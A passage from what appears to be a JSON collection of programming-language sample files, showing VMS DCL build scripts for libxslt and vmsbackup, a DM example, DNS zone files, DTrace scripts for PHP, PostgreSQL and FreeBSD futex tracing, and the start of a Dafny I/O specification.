aopt\n$     close/nolog bopt\n$     open/append libopt 'p2'\n$     open/read aopt a.opt\n$     open/read bopt b.opt\n$ALOOP:\n$     read/end=aloop_end aopt line\n$     write libopt line\n$     goto aloop\n$ALOOP_END:\n$     close/nolog aopt\n$     sv = \"\"\n$BLOOP:\n$     read/end=bloop_end bopt svn\n$     if (svn.nes.\"\")\n$     then\n$        if (sv.nes.\"\") then write libopt sv\n$        sv = svn\n$     endif\n$     goto bloop\n$BLOOP_END:\n$     write libopt f$extract(0,f$length(sv)-2,sv), \"-\"\n$     write libopt \")\"\n$     close/nolog bopt\n$     delete/nolog/noconf a.opt;*,b.opt;*\n$ else\n$     if vax\n$     then\n$     open/append libopt 'p2'\n$     mod_sym_num = 1\n$ VMOD_SYM_LOOP:\n$     if f$type(module'mod_sym_num') .nes. \"\"\n$     then\n$         mod_in = 0\n$ VMOD_SYM_IN:\n$         shared_proc = f$element(mod_in, \"#\", module'mod_sym_num')\n$         if shared_proc .nes. \"#\"\n$         then\n$     \t      write libopt f$fao(\"UNIVERSAL=!AS\",-\n      \t  \t\t\t     f$edit(shared_proc,\"upcase\"))\n$             mod_in = mod_in + 1\n$             goto vmod_sym_in\n$         endif\n$         mod_sym_num = mod_sym_num + 1\n$         goto vmod_sym_loop\n$     endif\n$VMAP_LOOP:\n$     \t  read/end=vmap_end map line\n$     \t  if (f$locate(\"{\",line).lt. f$length(line)) .or. -\n   \t      (f$locate(\"global:\", line) .lt. f$length(line))\n$     \t  then\n$     \t      proc = true\n$     \t      goto vmap_loop\n$     \t  endif\n$     \t  if f$locate(\"}\",line).lt. f$length(line) then proc = false\n$     \t  if f$locate(\"local:\", line) .lt. f$length(line) then proc = false\n$     \t  if proc\n$     \t  then\n$     \t      shared_proc = f$edit(line,\"collapse\")\n$     \t      chop_semi = f$locate(\";\", shared_proc)\n$     \t      if chop_semi .lt. f$length(shared_proc) then -\n      \t  \t  shared_proc = f$extract(0, chop_semi, shared_proc)\n$     \t      write libopt f$fao(\"UNIVERSAL=!AS\",-\n      \t  \t\t\t     f$edit(shared_proc,\"upcase\"))\n$     \t  endif\n$     \t  goto vmap_loop\n$VMAP_END:\n$     else\n$         write sys$output \"Unknown Architecture (Not VAX, AXP, or IA64)\"\n$         write sys$output \"No options file created\"\n$     endif\n$ endif\n$ EXIT_M2S:\n$ close/nolog map\n$ close/nolog libopt\n$ endsubroutine\n"
  },
  {
    "path": "samples/DIGITAL Command Language/libxslt_build.com",
    "content": "$! BUILD_XSLT.COM\n$!\n$! Build the XSLT library\n$!\n$! Arguments:\n$!\n$!\tp1\t- \"DEBUG\" is you want to build with debug\n$!\n$! This package requires libxml to have already been installed.  You need\n$! to ensure that the logical name LIBXML is defined and points to the \n$! directory containing libxml's .h files\n$!\n$! This procedure creates the object libraries\n$!\n$!\tXML_LIBDIR:LIBXSLT.OLB\n$!\tXML_LIBDIR:LIBEXSLT.OLB\n$!\n$! and the program\n$!\n$!\tXSLTPROC\n$!\n$! After the library is built, you can link these routines into\n$! your code with the command  \n$!\n$! \tLINK your_modules,XML_LIBDIR:LIBEXSLT/LIB,LIBXSLT/LIBRARY,LIBXML/LIB\n$!\n$! Change History\n$! --------------\n$! Command file author : John A Fotheringham (jaf@jafsoft.com)\n$! Last update         : 2 Nov 2001\n$! \n$!- configuration -------------------------------------------------------------\n$!\n$!- compile command.\n$!\n$   cc_opts = \"/INCLUDE=([],XML_SRCDIR:,[-.libxslt])/NAMES=(SHORTENED)/FLOAT=IEEE/IEEE_MODE=DENORM_RESULTS\"\n$!\n$   if p1.eqs.\"DEBUG\"\n$   then\n$     debug = \"Y\"\n$     cc_command = \"CC''cc_opts'/DEBUG/NOOPTIMIZE/LIST/SHOW=ALL\"\n$   else\n$     debug = \"N\"\n$     cc_command = \"CC''cc_opts'\"\n$   endif\n$!\n$!- configure multiple build passes for each library. -------------------------\n$!\n$!  For each pass:\n$!\n$!  \"libname\" is the name of the library or module being created\n$!\n$!  \"progname\" is the name of the program being created\n$!\n$!  \"src\" is the list of sources to be built into the library  or program\n$!\t- This should be compared to the definition of \n$!\t  \"<NAME>_la_SOURCES\" in the MAKEFILE.IN file in \n$!\t  corresponding directory.\n$!\n$   num_passes = 3\t! two libraries and a program\n$!\n$!- pass 1 - library LIBXSLT\n$!\n$   libname_1  = \"LIBXSLT\"\n$   h_file_1   = \"xslt.h\"\n$   progname_1 = \"\"\n$!\n$   ! see \"libxslt_la_SOURCES\" in [.libxslt]makefile.in\n$   src_1 = \"xslt.c xsltutils.c pattern.c templates.c variables.c keys.c\"\n$   src_1 = src_1 + \" numbers.c extensions.c extra.c functions.c\"\n$   src_1 = src_1 + \" namespaces.c imports.c attributes.c documents.c\"\n$   src_1 = src_1 + \" preproc.c transform.c security.c\"\n$!\n$!- pass 2 - library LIBEXSLT\n$!\n$   libname_2  = \"LIBEXSLT\"\n$   h_file_2   = \"exslt.h\"\n$   progname_2 = \"\"\n$!\n$   ! see \"libexslt_la_SOURCES\" in [.libexslt]makefile.in\n$   src_2   = \"exslt.c common.c math.c sets.c functions.c strings.c date.c saxon.c dynamic.c\"\n$!\n$!- pass 3 - program XSLTPROC\n$!\n$   libname_3  = \"\"\n$   h_file_3   = \"\"\n$   progname_3 = \"XSLTPROC\"\n$!\n$   ! see \"xsltproc_SOURCES\" in [.xsltproc]makefile.in\n$   src_3   = \"xsltproc.c\"\n$!\n$!- set up and check logicals  -----------------------------------------------\n$!\n$!  XML_LIBDIR - object library directory\n$!  XML_SRCDIR - top-level build directory of libxml package -- needed for config.h and trio.h\n$!  LIBXML - source directory containing .h files for libxml package\n$!\n$   if f$trnlnm(\"XML_LIBDIR\").eqs.\"\"\n$   then\n$     on error then continue\n$     globfile = f$search(\"[--...]libxml.olb\")\n$     if globfile.eqs.\"\"\n$     then\n$       write sys$output \"\"\n$       write sys$output \"\tYou need to define the XML_LIBDIR logical name to\"\n$       write sys$output \"\tpoint to the directory containing your object\"\n$       write sys$output \"\tlibraries.  This should already contain LIBXML.OLB\"\n$       write sys$output \"\tfrom the libxml package, and will be the directory\"\n$       write sys$output \"\tthe new LIBXSLT.OLB library will be placed in\"\n$       write sys$output \"\"\n$       exit\n$     else\n$\tsrcdir = f$parse(globfile,,,\"DEVICE\") + f$parse(globfile,,,\"DIRECTORY\")\n$\tdefine/process XML_LIBDIR \"''srcdir'\"\n$       write sys$output \"Defining XML_LIBDIR as \"\"''srcdir'\"\"\"\n$     endif\n$   endif\n$!\n$   if f$trnlnm(\"libxml\").eqs.\"\"\n$   then\n$     ! look for globals.h in a directory installed paralle to this one\n$     on error then continue\n$     globfile = f$search(\"[--...]globals.h\")\n$     if globfile.eqs.\"\"\n$     then\n$       write sys$output \"\"\n$       write sys$output \"\tYou need to define a LIBXML logical directory to\"\n$       write sys$output \"\tpoint to the directory containing the .h files\"\n$       write sys$output \"\tfor the libxml package\"\n$       write sys$output \"\"\n$       exit\n$     else\n$\tsrcdir = f$element(0,\"]\",globfile)+ \"]\"\n$\tdefine/process LIBXML \"''srcdir'\"\n$       write sys$output \"Defining LIBXML as \"\"''srcdir'\"\"\"\n$     endif\n$   endif\n$!\n$   if f$trnlnm(\"XML_SRCDIR\").eqs.\"\"\n$   then\n$     globfile = f$search(\"[--...]globals.c\")\n$     if globfile.eqs.\"\"\n$     then\n$\twrite sys$output \"Can't locate globals.c.  You need to manually define a XML_SRCDIR logical\"\n$\texit\n$     else\n$\tsrcdir = f$parse(globfile,,,\"DEVICE\") + f$parse(globfile,,,\"DIRECTORY\")\n$\tdefine/process XML_SRCDIR \"''srcdir'\"\n$       write sys$output \"Defining XML_SRCDIR as \"\"''srcdir'\"\"\"\n$     endif\n$   endif\n$!\n$!- set up some working logicals -------------------\n$!\n$ pass_no = 1\n$ set_pass_logical:\n$!\n$   if pass_no.le.num_passes\n$   then\n$!\n$     Libname  = libname_'pass_no'\n$     progname = progname_'pass_no'\n$     if libname.nes.\"\"\n$     then\n$       logname  = \"''libname'_SRCDIR\"\n$     else\n$       logname  = \"''progname'_SRCDIR\"\n$     endif\n$     findfile = f$element(0,\" \",src_'pass_no')\n$!\n$!--- set up a source directory logical\n$!\n$     if f$trnlnm(\"''logname'\").eqs.\"\"\n$     then\n$       ! look for the target file in a parallel subdirectory\n$       globfile = f$search(\"[-...]''findfile'\")\n$       if globfile.eqs.\"\"\n$       then\n$  \t  write sys$output \"Can't locate ''findfile'.  You need to manually define a ''logname' logical\"\n$\t  exit\n$       else\n$  \t  srcdir = f$element(0,\"]\",globfile)+ \"]\"\n$\t  define/process 'logname' \"''srcdir'\"\n$         write sys$output \"Defining ''logname' as \"\"''srcdir'\"\"\"\n$       endif\n$     endif\n$!\n$!--- if it's a library, set up a logical pointing to the .h files\n$!\n$     if libname.nes.\"\" \n$     then\n$\tif f$trnlnm(\"''libname'\").eqs.\"\" \n$       then \n$         ! look for the target .h file in a parallel subdirectory\n$  \t  h_file = h_file_'pass_no'\n$         globfile = f$search(\"[-...]''h_file'\")\n$         if globfile.eqs.\"\"\n$         then\n$\t    write sys$output \"Can't locate ''h_file'.  You need to manually define a ''libname' logical\"\n$\t    exit\n$         else\n$\t    includedir = f$element(0,\"]\",globfile)+ \"]\"\n$\t    define/process 'libname' \"''includedir'\"\n$           write sys$output \"Defining ''libname' as \"\"''includedir'\"\"\"\n$\t  endif\n$       endif\n$     endif\n$!\n$     pass_no = pass_no +1\n$     goto set_pass_logical\n$!\n$   endif\t! for each pass\n$!\n$!- set up error handling (such as it is) -------------------------------------\n$!\n$ exit_status = 1\n$ saved_default = f$environment(\"default\")\n$ on error then goto ERROR_OUT \n$ on control_y then goto ERROR_OUT \n$!\n$ goto start_here\n$ start_here:\t  ! move this line to debug/rerun parts of this command file\n$!\n$!- compile modules into the library ------------------------------------------\n$!\n$!\n$ pass_no = 1\t! make three passes, one for each library, one for XSLTPROC\n$ pass_loop:\n$!\n$ if pass_no.le.num_passes\n$ then\n$   Libname  = libname_'pass_no'\n$   progname = progname_'pass_no'\n$   if libname.nes.\"\"\n$   then\n$     logname  = \"''libname'_SRCDIR\"\n$     pass_description = \"the XML_LIBDIR:''libname'.OLB object library\"\n$   else\n$     logname  = \"''progname'_SRCDIR\"\n$     pass_description = \"the programs in ''progname'\"\n$   endif\n$   src  = src_'pass_no'\n$!\n$!- create the library if need\n$!\n$   if libname.nes.\"\" \n$   then\n$     if f$search(\"XML_LIBDIR:''libname'.OLB\").eqs.\"\" \n$     then\n$       write sys$output \"Creating new object library XML_LIBDIR:''libname'.OLB...\"\n$       library/create XML_LIBDIR:'libname'.OLB\n$     endif\n$   endif\n$!\n$!- move to the source directory \n$!\n$   set def 'logname'\n$!\n$!- define the library and link commands (link command not used as is)\n$!\n$   if libname.nes.\"\"\n$   then\n$     lib_command  = \"LIBRARY/REPLACE XML_LIBDIR:''libname'.OLB\"\n$     link_command = \"\"\n$   else\n$     lib_command  = \"\"\n$     link_command = \"LINK\"\n$   endif\n$!\n$   write sys$output \"\"\n$   write sys$output \"Building ''pass_description'\n$   write sys$output \"\"\n$!\n$   s_no = 0\n$   src = f$edit(src,\"COMPRESS\")\n$!\n$ source_loop:\n$!\n$     next_source = f$element (S_no,\" \",src)\n$     if next_source.nes.\"\" .and. next_source.nes.\" \"\n$     then\n$       call build 'next_source'\n$       s_no = s_no + 1\n$       goto source_loop\n$     endif\n$!\n$     pass_no = pass_no + 1\n$     goto pass_loop\n$!\n$   endif\t! for each pass\n$!\n$!- Th-th-th-th-th-that's all folks! ------------------------------------------\n$!\n$EXIT_OUT:\n$!\n$ set def 'saved_default\n$ exit 'exit_status\n$!\n$\n$ERROR_OUT:\n$ exit_status = $status\n$ write sys$output \"''f$message(exit_status)'\"\n$ goto EXIT_OUT\n$!\f\n$!- the BUILD subroutine.  Compile then insert into library or link as required\n$!\n$BUILD: subroutine\n$   on warning then goto EXIT_BUILD\n$   source_file = p1\n$   name = f$element(0,\".\",source_file)\n$   object_file = f$fao(\"XML_LIBDIR:!AS.OBJ\",name)\n$!\n$!- compile\n$   write sys$output \"Compiling \",p1,p2,\"...\"\n$   cc_command /object='object_file 'source_file' 'p2'\n$!\n$!- insert into library if command defined\n$!\n$   if lib_command.nes.\"\"  \n$   then \n$     lib_command 'object_file'\n$     delete/nolog 'object_file';*\n$   endif\n$!\n$!- link module if command defined\n$!\n$   if link_command.nes.\"\" \n$   then\n$\ttext = f$element(0,\".\",p1)\t! lose the \".c\"\n$\twrite sys$output \"Linking \",text,\"...\"\n$\tdbgopts = \"\"\n$\tif debug then dbgopts = \"/DEBUG\"\n$\tlink_command'dbgopts' 'object_file',-\n      \t\tXML_LIBDIR:libexslt/lib,-\n      \t\tXML_LIBDIR:libxslt/lib,-\n      \t\tXML_LIBDIR:libxml/library\n$   endif\n$!\n$EXIT_BUILD:\n$   exit $status\n$!\n$endsubroutine\n"
  },
  {
    "path": "samples/DIGITAL Command Language/vmsbackup_build.com",
    "content": "$! Compiling with VAXC is said to work, but it requires the usual cruft\n$! (vaxcrtl and all), and to avoid hair we don't supply said cruft here.\n$ CC/DECC/PREFIX=all VMSBACKUP.C/DEFINE=(HAVE_MT_IOCTLS=0,HAVE_UNIXIO_H=1)\n$ CC/DECC/PREFIX=all DCLMAIN.C\n$! Probably we don't want match as it probably doesn't implement VMS-style\n$! matching, but I haven't looking into the issues yet.\n$ CC/DECC/PREFIX=all match\n$ LINK/exe=VMSBACKUP.EXE -\nvmsbackup.obj,dclmain.obj,match.obj,sys$input/opt\nidentification=\"VMSBACKUP4.1.1\"\n"
  },
  {
    "path": "samples/DM/example.dm",
    "content": "// This is a single line comment.\n/*\n\tThis is a multi-line comment\n*/\n\n// Pre-processor keywords\n\n#define PI 3.1415\n\n#if PI == 4\n\n#define G 5\n\n#elif PI == 3\n\n#define I 6\n\n#else\n\n#define K 7\n\n#endif\n\n\nvar/GlobalCounter = 0\nvar/const/CONST_VARIABLE = 2\nvar/list/MyList = list(\"anything\", 1, new /datum/entity)\nvar/list/EmptyList[99] // creates a list of 99 null entries\nvar/list/NullList = null\n\n/*\n\tEntity Class\n*/\n\n/datum/entity\n\tvar/name = \"Entity\"\n\tvar/number = 0\n\n/datum/entity/proc/myFunction()\n\tworld.log << \"Entity has called myFunction\"\n\n/datum/entity/New()\n\tnumber = GlobalCounter++\n\n/*\n\tUnit Class, Extends from Entity\n*/\n\n/datum/entity/unit\n\tname = \"Unit\"\n\n/datum/entity/unit/New()\n\t..() // calls the parent's proc; equal to super() and base() in other languages\n\tnumber = rand(1, 99)\n\n/datum/entity/unit/myFunction()\n\tworld.log << \"Unit has overriden and called myFunction\"\n\n// Global Function\n/proc/ReverseList(var/list/input)\n\tvar/list/output = list()\n\tfor(var/i = input.len; i >= 1; i--) // IMPORTANT: List Arrays count from 1.\n\t\toutput += input[i] // \"+= x\" is \".Add(x)\"\n\treturn output\n\n// Bitflags\n/proc/DoStuff()\n\tvar/bitflag = 0\n\tbitflag |= 8\n\treturn bitflag\n\n/proc/DoOtherStuff()\n\tvar/bitflag = 65535 // 16 bits is the maximum amount\n\tbitflag &= ~8\n\treturn bitflag\n\n// Logic\n/proc/DoNothing()\n\tvar/pi = PI\n\tif(pi == 4)\n\t\tworld.log << \"PI is 4\"\n\telse if(pi == CONST_VARIABLE)\n\t\tworld.log << \"PI is [CONST_VARIABLE]!\"\n\telse\n\t\tworld.log << \"PI is approximety [pi]\"\n\n#undef PI // Undefine PI"
  },
  {
    "path": "samples/DNS Zone/sample.arpa",
    "content": "$ORIGIN 0.0.0.c.2.1.0.3.0.0.2.1.e.f.f.3.ip6.arpa.\n$TTL     60\n@ \t IN SOA ns root (\n\t     2002042901 ; SERIAL\n\t     7200       ; REFRESH\n\t     600        ; RETRY\n\t     36000000   ; EXPIRE\n\t     120        ; MINIMUM\n\t     )\n\n\t    NS\t ns.example.com.\n\nc.a.7.e.d.7.e.f.f.f.0.2.8.0.a.0 PTR  sip01.example.com.\n"
  },
  {
    "path": "samples/DNS Zone/sneaky.net.zone",
    "content": "$TTL 3d\n@ IN SOA root.localhost. root.sneaky.net. (\n    2015042907 ; serial\n    3d         ; refresh\n    1h         ; retry\n    12d        ; expire\n    2h         ; negative response TTL\n  )\n  IN NS root.localhost.\n  IN NS localhost. ; secondary name server is preferably externally maintained\n\nwww IN A 3.141.59.26\n"
  },
  {
    "path": "samples/DTrace/counts.d",
    "content": "/*\n * This software is in the public domain.\n *\n * $Id: counts.d 10510 2005-08-15 01:46:19Z kateturner $\n */\n\n#pragma D option quiet\n\nself int tottime;\nBEGIN {\n\ttottime = timestamp;\n}\n\nphp$target:::function-entry\n\t@counts[copyinstr(arg0)] = count();\n}\n\nEND {\n\tprintf(\"Total time: %dus\\n\", (timestamp - tottime) / 1000);\n\tprintf(\"# calls by function:\\n\");\n\tprinta(\"%-40s %@d\\n\", @counts);\n}\n\n"
  },
  {
    "path": "samples/DTrace/probes.d",
    "content": "/* ----------\n *\tDTrace probes for PostgreSQL backend\n *\n *\tCopyright (c) 2006-2009, PostgreSQL Global Development Group\n *\n *\t$PostgreSQL: pgsql/src/backend/utils/probes.d,v 1.11 2009/04/02 20:59:10 momjian Exp $\n * ----------\n */\n\n\n/*\n * Typedefs used in PostgreSQL.\n *\n * NOTE: Do not use system-provided typedefs (e.g. uintptr_t, uint32_t, etc)\n * in probe definitions, as they cause compilation errors on Mac OS X 10.5.\n */\n#define LocalTransactionId unsigned int\n#define LWLockId int\n#define LWLockMode int\n#define LOCKMODE int\n#define BlockNumber unsigned int\n#define Oid unsigned int\n#define ForkNumber int\n#define bool char\n\nprovider postgresql {\n\n\tprobe transaction__start(LocalTransactionId);\n\tprobe transaction__commit(LocalTransactionId);\n\tprobe transaction__abort(LocalTransactionId);\n\n\tprobe lwlock__acquire(LWLockId, LWLockMode);\n\tprobe lwlock__release(LWLockId);\n\tprobe lwlock__wait__start(LWLockId, LWLockMode);\n\tprobe lwlock__wait__done(LWLockId, LWLockMode);\n\tprobe lwlock__condacquire(LWLockId, LWLockMode);\n\tprobe lwlock__condacquire__fail(LWLockId, LWLockMode);\n\n\tprobe lock__wait__start(unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, LOCKMODE);\n\tprobe lock__wait__done(unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, LOCKMODE);\n\n\tprobe query__parse__start(const char *);\n\tprobe query__parse__done(const char *);\n\tprobe query__rewrite__start(const char *);\n\tprobe query__rewrite__done(const char *);\n\tprobe query__plan__start();\n\tprobe query__plan__done();\n\tprobe query__execute__start();\n\tprobe query__execute__done();\n\tprobe query__start(const char *);\n\tprobe query__done(const char *);\n\tprobe statement__status(const char *);\n\n\tprobe sort__start(int, bool, int, int, bool);\n\tprobe sort__done(bool, long);\n\n\tprobe buffer__read__start(ForkNumber, BlockNumber, Oid, Oid, Oid, bool, bool);\n\tprobe buffer__read__done(ForkNumber, BlockNumber, Oid, Oid, Oid, bool, bool, bool);\n\tprobe buffer__flush__start(ForkNumber, BlockNumber, Oid, Oid, Oid);\n\tprobe buffer__flush__done(ForkNumber, BlockNumber, Oid, Oid, Oid);\n\n\tprobe buffer__checkpoint__start(int);\n\tprobe buffer__checkpoint__sync__start();\n\tprobe buffer__checkpoint__done();\n\tprobe buffer__sync__start(int, int);\n\tprobe buffer__sync__written(int);\n\tprobe buffer__sync__done(int, int, int);\n\tprobe buffer__write__dirty__start(ForkNumber, BlockNumber, Oid, Oid, Oid);\n\tprobe buffer__write__dirty__done(ForkNumber, BlockNumber, Oid, Oid, Oid);\n\n\tprobe deadlock__found();\n\n\tprobe checkpoint__start(int);\n\tprobe checkpoint__done(int, int, int, int, int);\n\tprobe clog__checkpoint__start(bool);\n\tprobe clog__checkpoint__done(bool);\n\tprobe subtrans__checkpoint__start(bool);\n\tprobe subtrans__checkpoint__done(bool);\n\tprobe multixact__checkpoint__start(bool);\n\tprobe multixact__checkpoint__done(bool);\n\tprobe twophase__checkpoint__start();\n\tprobe twophase__checkpoint__done();\n\n\tprobe smgr__md__read__start(ForkNumber, BlockNumber, Oid, Oid, Oid);\n\tprobe smgr__md__read__done(ForkNumber, BlockNumber, Oid, Oid, Oid, int, int);\n\tprobe smgr__md__write__start(ForkNumber, BlockNumber, Oid, Oid, Oid);\n\tprobe smgr__md__write__done(ForkNumber, BlockNumber, Oid, Oid, Oid, int, int);\n\n\tprobe xlog__insert(unsigned char, unsigned char);\n\tprobe xlog__switch();\n\tprobe wal__buffer__write__dirty__start();\n\tprobe wal__buffer__write__dirty__done();\n};\n"
  },
  {
    "path": "samples/DTrace/trace_futexes.d",
    "content": "#!/usr/sbin/dtrace -qs\n\n// Source: https://github.com/bycn82/freebsd/blob/12a4a4a008eac3cfa71e496b33eaeaf426c374c1/sys/compat/linux/trace_futexes.d\n\n/*-\n * Copyright (c) 2011-2012 Alexander Leidinger <netchild@FreeBSD.org>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer\n *    in this position and unchanged.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * $FreeBSD$\n */\n\n/**\n * Trace futex operations:\n *  - internal locks\n *  - size of the futex list\n *  - report error conditions (emulation errors, kernel errors,\n *    programming errors)\n *  - execution time (wallclock) of futex related functions\n */\n\n#pragma D option specsize=32m\n\n/* Error conditions */\nlinuxulator*:futex:futex_get:error,\nlinuxulator*:futex:futex_sleep:requeue_error,\nlinuxulator*:futex:futex_sleep:sleep_error,\nlinuxulator*:futex:futex_wait:copyin_error,\nlinuxulator*:futex:futex_wait:itimerfix_error,\nlinuxulator*:futex:futex_wait:sleep_error,\nlinuxulator*:futex:futex_atomic_op:missing_access_check,\nlinuxulator*:futex:futex_atomic_op:unimplemented_op,\nlinuxulator*:futex:futex_atomic_op:unimplemented_cmp,\nlinuxulator*:futex:linux_sys_futex:unimplemented_clockswitch,\nlinuxulator*:futex:linux_sys_futex:copyin_error,\nlinuxulator*:futex:linux_sys_futex:unhandled_efault,\nlinuxulator*:futex:linux_sys_futex:unimplemented_lock_pi,\nlinuxulator*:futex:linux_sys_futex:unimplemented_unlock_pi,\nlinuxulator*:futex:linux_sys_futex:unimplemented_trylock_pi,\nlinuxulator*:futex:linux_sys_futex:unimplemented_wait_requeue_pi,\nlinuxulator*:futex:linux_sys_futex:unimplemented_cmp_requeue_pi,\nlinuxulator*:futex:linux_sys_futex:unknown_operation,\nlinuxulator*:futex:linux_get_robust_list:copyout_error,\nlinuxulator*:futex:handle_futex_death:copyin_error,\nlinuxulator*:futex:fetch_robust_entry:copyin_error,\nlinuxulator*:futex:release_futexes:copyin_error\n{\n  printf(\"ERROR: %s in %s:%s:%s\\n\", probename, probeprov, probemod,\n      probefunc);\n  stack();\n  ustack();\n}\n\nlinuxulator*:futex:linux_sys_futex:invalid_cmp_requeue_use,\nlinuxulator*:futex:linux_sys_futex:deprecated_requeue,\nlinuxulator*:futex:linux_set_robust_list:size_error\n{\n  printf(\"WARNING: %s:%s:%s:%s in application %s, maybe an application error?\\n\",\n      probename, probeprov, probemod, probefunc, execname);\n  stack();\n  ustack();\n}\n\n\n/* Per futex checks/statistics */\n\nlinuxulator*:futex:futex:create\n{\n  ++futex_count;\n  @max_futexes = max(futex_count);\n}\n\nlinuxulator*:futex:futex:destroy\n/futex_count == 0/\n{\n  printf(\"ERROR: Request to destroy a futex which was not created,\\n\");\n  printf(\"       or this script was started after some futexes where\\n\");\n  printf(\"       created. Stack trace:\\n\");\n  stack();\n  ustack();\n}\n\nlinuxulator*:futex:futex:destroy\n{\n  --futex_count;\n}\n\n\n/* Internal locks */\n\nlinuxulator*:locks:futex_mtx:locked\n{\n  ++check[probefunc, arg0];\n  @stats[probefunc] = count();\n\n  ts[probefunc] = timestamp;\n  spec[probefunc] = speculation();\n  printf(\"Stacktrace of last lock operation of the %s:\\n\", probefunc);\n  stack();\n}\n\nlinuxulator*:locks:futex_mtx:unlock\n/check[probefunc, arg0] == 0/\n{\n  printf(\"ERROR: unlock attempt of unlocked %s (%p),\", probefunc, arg0);\n  printf(\"       missing SDT probe in kernel, or dtrace program started\");\n  printf(\"       while the %s was already held (race condition).\", probefunc);\n  printf(\"       Stack trace follows:\");\n  stack();\n}\n\nlinuxulator*:locks:futex_mtx:unlock\n{\n  discard(spec[probefunc]);\n  spec[probefunc] = 0;\n  --check[probefunc, arg0];\n}\n\n/* Timeout handling for internal locks */\n\ntick-10s\n/spec[\"futex_mtx\"] != 0 && timestamp - ts[\"futex_mtx\"] >= 9999999000/\n{\n  commit(spec[\"futex_mtx\"]);\n  spec[\"futex_mtx\"] = 0;\n}\n\n\n/* Timing statistings */\n\nlinuxulator*:futex::entry\n{\n  self->time[probefunc] = timestamp;\n  @calls[probeprov, execname, probefunc] = count();\n}\n\nlinuxulator*:futex::return\n/self->time[probefunc] != 0/\n{\n  this->timediff = self->time[probefunc] - timestamp;\n\n        @timestats[probeprov, execname, probefunc] = quantize(this->timediff);\n        @longest[probeprov, probefunc] = max(this->timediff);\n\n        self->time[probefunc] = 0;\n}\n\n\n/* Statistics */\n\nEND\n{\n  printf(\"Number of locks per type:\");\n  printa(@stats);\n  printf(\"Number of maximum number of futexes in the futex list:\");\n  printa(@max_futexes);\n  printf(\"Number of futexes still existing: %d\", futex_count);\n  printf(\"Number of calls per provider/application/kernel function:\");\n  printa(@calls);\n  printf(\"Wallclock-timing statistics per provider/application/kernel function (in ns):\");\n  printa(@timestats);\n  printf(\"Longest running (wallclock!) functions per provider (in ns):\");\n  printa(@longest);\n}"
  },
  {
    "path": "samples/Dafny/Io.s.dfy",
    "content": "// From: https://github.com/microsoft/Ironclad/blob/b2afa7e3eb65285fd3dba4ffa9dc10c6da593727/ironfleet/src/Dafny/Distributed/Common/Native/Io.s.dfy\n\ninclude \"NativeTypes.s.dfy\"\ninclude \"../Framework/Environment.s.dfy\"\n\nmodule Native__Io_s {\nimport opened Native__NativeTypes_s\nimport opened Environment_s\n\nclass HostEnvironment\n{\n    ghost var constants:HostConstants;\n    ghost var ok:OkState;\n    ghost var now:NowState;\n    ghost var udp:UdpState;\n    ghost var files:FileSystemState;\n\n    predicate Valid()\n        reads this;\n    {\n           constants != null\n        && ok != null\n        && now != null\n        && udp != null\n        && files != null\n    }\n}\n\n//////////////////////////////////////////////////////////////////////////////\n// Per-host constants\n//////////////////////////////////////////////////////////////////////////////\n\nclass HostConstants\n{\n    constructor{:axiom} () requires false;\n\n    function{:axiom} LocalAddress():seq<byte> reads this; // REVIEW: Do we need this anymore?  We now allow different UdpClients to have different addresses anyway.\n    function{:axiom} CommandLineArgs():seq<seq<uint16>> reads this; // result of C# System.Environment.GetCommandLineArgs(); argument 0 is name of executable\n\n    static method{:axiom} NumCommandLineArgs(ghost env:HostEnvironment) returns(n:uint32)\n        requires env != null && env.Valid();\n        ensures  int(n) == |env.constants.CommandLineArgs()|;\n\n    static method{:axiom} GetCommandLineArg(i:uint64, ghost env:HostEnvironment) returns(arg:array<uint16>)\n        requires env != null && env.Valid();\n        requires 0 <= int(i) < |env.constants.CommandLineArgs()|;\n        ensures  arg != null;\n        ensures  fresh(arg);\n        ensures  arg[..] == env.constants.CommandLineArgs()[i];\n}\n\n//////////////////////////////////////////////////////////////////////////////\n// Failure\n//////////////////////////////////////////////////////////////////////////////\n\n// not failed; IO operations only allowed when ok() == true\nclass OkState\n{\n    constructor{:axiom} () requires false;\n    function{:axiom} ok():bool reads this;\n}\n\n//////////////////////////////////////////////////////////////////////////////\n// Time\n//////////////////////////////////////////////////////////////////////////////\n\n// current local real time in milliseconds\n// (current actually means \"current as of last waiting operation or call to GetTime\")\nclass NowState\n{\n    constructor{:axiom} () requires false;\n    function{:axiom} now():int reads this;\n}\n\n// maximum assumed time taken by any non-waiting code (in milliseconds)\nfunction{:axiom} realTimeBound():int\npredicate AdvanceTime(oldTime:int, newTime:int, delay:int) { oldTime <= newTime < oldTime + delay + realTimeBound() }\n\nclass Time\n{\n    static method{:axiom} GetTime(ghost env:HostEnvironment) returns(t:uint64)\n        requires env != null && env.Valid();\n        modifies env.now; // To avoid contradiction, GetTime must advance time, because successive calls to GetTime can return different values\n        modifies env.udp;\n        ensures  int(t) == env.now.now();\n        ensures  AdvanceTime(old(env.now.now()), env.now.now(), 0);\n        ensures  env.udp.history() == old(env.udp.history()) + [LIoOpReadClock(int(t))];\n\n    // Used for performance debugging\n    static method{:axiom} GetDebugTimeTicks() returns(t:uint64)\n    static method{:axiom} RecordTiming(name:array<char>, 